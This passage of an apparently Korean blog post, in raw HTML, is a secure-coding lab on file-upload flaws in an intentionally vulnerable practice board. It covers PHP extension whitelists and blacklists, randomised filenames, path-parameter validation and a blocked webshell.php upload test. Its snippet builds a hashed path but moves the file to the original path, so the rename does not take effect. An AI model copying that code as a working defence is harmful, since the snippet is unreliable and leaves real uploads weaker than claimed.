height=&quot;743&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;743&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화이트리스트 방식으로 적용, 서버 측에서 랜덤으로 값을 생성한 파일명+확장자로 파일을 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;521&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PAQmj/btsMv5m8CD3/x1mKRJV1Piye7g6YFTyYm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PAQmj/btsMv5m8CD3/x1mKRJV1Piye7g6YFTyYm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PAQmj/btsMv5m8CD3/x1mKRJV1Piye7g6YFTyYm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPAQmj%2FbtsMv5m8CD3%2Fx1mKRJV1Piye7g6YFTyYm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;521&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;521&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 업로드한 파일명, 서버 측에서 생성한 파일명을 DB에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 올바른 업로드 경로 설정&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEyzkJ/btsMvyiYHs7/rFBMQ1IihPuxkobv4OMdIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEyzkJ/btsMvyiYHs7/rFBMQ1IihPuxkobv4OMdIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEyzkJ/btsMvyiYHs7/rFBMQ1IihPuxkobv4OMdIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEyzkJ%2FbtsMvyiYHs7%2FrFBMQ1IihPuxkobv4OMdIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1038&quot; height=&quot;514&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올바른 업로드 경로 설정 - 서버 사이드 스크립트가 실행되지 않는 경로(WEB-INF)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기능별 업로드 경로를 세분화를 하고 올바른 업로드 경로(WEB-INF)로 설정했음에도 불구하고 취약점이 발생되는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 공격자가 경로에 들어오는 사용자 입력값을 변조하여 웹 디렉터리로 업로드 할 수 있음, 일부 경로를 입력받는 부분에 대해서도 입력값 검증 절차가 구현되어 있어야 한다. (gubun 파라미터 - notice, image 등으로 업로드 경로 구분하는 경우, 해당 파라미터에도 특수문자가 들어가는지 검증해야함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;올바른 업로드 경로 설정&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;739&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/To2uv/btsMwe5senS/gHJY61KGuwKdW6qL2qTikk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/To2uv/btsMwe5senS/gHJY61KGuwKdW6qL2qTikk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/To2uv/btsMwe5senS/gHJY61KGuwKdW6qL2qTikk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTo2uv%2FbtsMwe5senS%2FgHJY61KGuwKdW6qL2qTikk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;857&quot; height=&quot;739&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;739&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 디렉터리가 아닌 곳에 업로드 하는 경우 업로드 디렉터리가 세분화가 되어 있는 경우가 많이 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로 세분화가 되어 있을 경우 입력 값 검증이 반드시 필요함(경로 이동을 통해서 웹 디렉터리에 업로드 시도 가능)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHytXz/btsMwpFFDr8/KJiJ87nuKHYc7pNK995uZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHytXz/btsMwpFFDr8/KJiJ87nuKHYc7pNK995uZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHytXz/btsMwpFFDr8/KJiJ87nuKHYc7pNK995uZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHytXz%2FbtsMwpFFDr8%2FKJiJ87nuKHYc7pNK995uZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1218&quot; height=&quot;661&quot; data-origin-width=&quot;1218&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;621&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kVSYh/btsMwYOAd5s/Xyfapc9UQOPtONcjsPqAA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kVSYh/btsMwYOAd5s/Xyfapc9UQOPtONcjsPqAA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kVSYh/btsMwYOAd5s/Xyfapc9UQOPtONcjsPqAA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkVSYh%2FbtsMwYOAd5s%2FXyfapc9UQOPtONcjsPqAA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1173&quot; height=&quot;621&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;621&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\ 를 / 문자로 치환하거나 / 나 .. 있는 경우 예외처리, 정규 표현식을 통해서 A-Za-z0-9 문자만 허용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 업로드 될때 일부 경로(gubun)를 받는 로직을 확인하고 입력값 검증 절차가 구현되어있지 않은 경우에는 경로가 변조되지 않도록 검증 로직이 반드시 구현되어 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습8-5 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에서 이전에 적용했던 검증 로직 코드는 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩을 적용해야 할 부분은 write(게시글 작성), modify(게시글 수정) 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 write(게시글 작성) 부분에 시큐어 코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 파일 업로드 시 Original 파일명이 출력되어야 하지만, insecure_website 게시판 특성 상 서버에서 작성한 파일명으로 출력된다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1740484842997&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용 - 화이트리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower($file_info[&quot;extension&quot;]);
			$ext_white_arr = array(&quot;png&quot;, &quot;jpg&quot;, &quot;gif&quot;);
			
			if(!in_array($ext, $ext_white_arr)) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}

			$final_filename = sha1($uploadFile.time());
			$final_filename .= &quot;.&quot;.$ext;
			$final_uploadPath = &quot;{$upload_path}/{$final_filename}&quot;;


			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\\r\\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$final_filename}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 적용 후 png 파일을 업로드 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckznaj/btsMxH6Er3R/cQuVYENeoCdaFGJA9oHR3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckznaj/btsMxH6Er3R/cQuVYENeoCdaFGJA9oHR3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckznaj/btsMxH6Er3R/cQuVYENeoCdaFGJA9oHR3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckznaj%2FbtsMxH6Er3R%2FcQuVYENeoCdaFGJA9oHR3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;862&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 서버에서 설정한 파일명으로 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0HLK4/btsMxlQmU3u/35rnGLmmMwefCc0BXCN3aK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0HLK4/btsMxlQmU3u/35rnGLmmMwefCc0BXCN3aK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0HLK4/btsMxlQmU3u/35rnGLmmMwefCc0BXCN3aK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0HLK4%2FbtsMxlQmU3u%2F35rnGLmmMwefCc0BXCN3aK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;646&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upload 디렉터리 확인 시 실제 업로드 된 파일명은 1.png 로 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk7Mib/btsMwzhaZd1/9qJDErBlNV8Oj45WxNZsi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk7Mib/btsMwzhaZd1/9qJDErBlNV8Oj45WxNZsi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk7Mib/btsMwzhaZd1/9qJDErBlNV8Oj45WxNZsi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk7Mib%2FbtsMwzhaZd1%2F9qJDErBlNV8Oj45WxNZsi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;167&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;write 부분에 화이트리스트로 적용한 코드는 주석 처리하고 이번에는 블랙리스트로 시큐어 코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙리스트 방식으로 적용 시에는 우회 포인트가 발생하지 않도록 확장자를 미리 파악해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙리스트 방식으로 적용할 확장자는 공백, php, html 이다.&lt;/p&gt;
&lt;pre id=&quot;code_1740486220302&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용 - 블랙리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower(trim($file_info[&quot;extension&quot;]));
			$ext_black_arr = array(&quot;&quot;, &quot;php&quot;, &quot;html&quot;);
			
			if(in_array($ext, $ext_black_arr)) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strtolower() 함수 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;trim() 함수 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.php 를 업로드 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;839&quot; data-origin-height=&quot;866&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHDZ65/btsMxrJOyIL/YgL432Xi6xvaJnqknSar0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHDZ65/btsMxrJOyIL/YgL432Xi6xvaJnqknSar0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHDZ65/btsMxrJOyIL/YgL432Xi6xvaJnqknSar0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHDZ65%2FbtsMxrJOyIL%2FYgL432Xi6xvaJnqknSar0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;839&quot; height=&quot;866&quot; data-origin-width=&quot;839&quot; data-origin-height=&quot;866&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 허용된 확장자가 아니라는 메시지가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/07YZw/btsMxIR0m6K/yZqg2FpxsQOLQ8FKGFroQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/07YZw/btsMxIR0m6K/yZqg2FpxsQOLQ8FKGFroQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/07YZw/btsMxIR0m6K/yZqg2FpxsQOLQ8FKGFroQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F07YZw%2FbtsMxIR0m6K%2FyZqg2FpxsQOLQ8FKGFroQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;239&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙리스트로 등록된 확장자가 아닌 일반 파일을 업로드 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;870&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Z4QgT/btsMwA8lcDn/B7wrcdc0UQ3XGyOt2j7yaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Z4QgT/btsMwA8lcDn/B7wrcdc0UQ3XGyOt2j7yaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z4QgT/btsMwA8lcDn/B7wrcdc0UQ3XGyOt2j7yaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZ4QgT%2FbtsMwA8lcDn%2FB7wrcdc0UQ3XGyOt2j7yaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;870&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;870&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 업로드가 성공적으로 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;651&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cES8Qt/btsMxIEtRek/nlMtxHdgy5KlYwf5exBUJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cES8Qt/btsMxIEtRek/nlMtxHdgy5KlYwf5exBUJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cES8Qt/btsMxIEtRek/nlMtxHdgy5KlYwf5exBUJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcES8Qt%2FbtsMxIEtRek%2FnlMtxHdgy5KlYwf5exBUJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;842&quot; height=&quot;651&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;651&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 insecure_website 게시판 특성 상 Original 파일로 업로드해도 서버에서 생성한 파일명으로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 현업에서는 다운로드 받을 때는 Original 파일명으로 다운로드 받을 수 있게 되어 있는 환경으로 구성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 환경에서는 블랙리스트 방식은 주석 처리하고, 화이트리스트 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify(게시글 수정)부분에도 화이트리스트 방식으로 적용해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1740487266166&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용 - 화이트리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower($file_info[&quot;extension&quot;]);
			$ext_white_arr = array(&quot;png&quot;, &quot;jpg&quot;, &quot;gif&quot;);
			
			if(!in_array($ext, $ext_white_arr)) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}

			$final_filename = sha1($uploadFile.time());
			$final_filename .= &quot;.&quot;.$ext;
			$final_uploadPath = &quot;{$upload_path}/{$final_filename}&quot;;

			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}

			$uploadFile = $final_filename;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에는 $final_filename 을 하나하나씩 적용해주었는데, 기존에 사용하는 $uploadFile 변수에 넣고 일괄로 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 1.png 파일을 ha.png 파일로 수정하였으며, 성공적으로 수정된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hj5Xd/btsMxGs7rWv/MtKIqbkIs7v1U5jNf1GAkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hj5Xd/btsMxGs7rWv/MtKIqbkIs7v1U5jNf1GAkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hj5Xd/btsMxGs7rWv/MtKIqbkIs7v1U5jNf1GAkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHj5Xd%2FbtsMxGs7rWv%2FMtKIqbkIs7v1U5jNf1GAkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;896&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
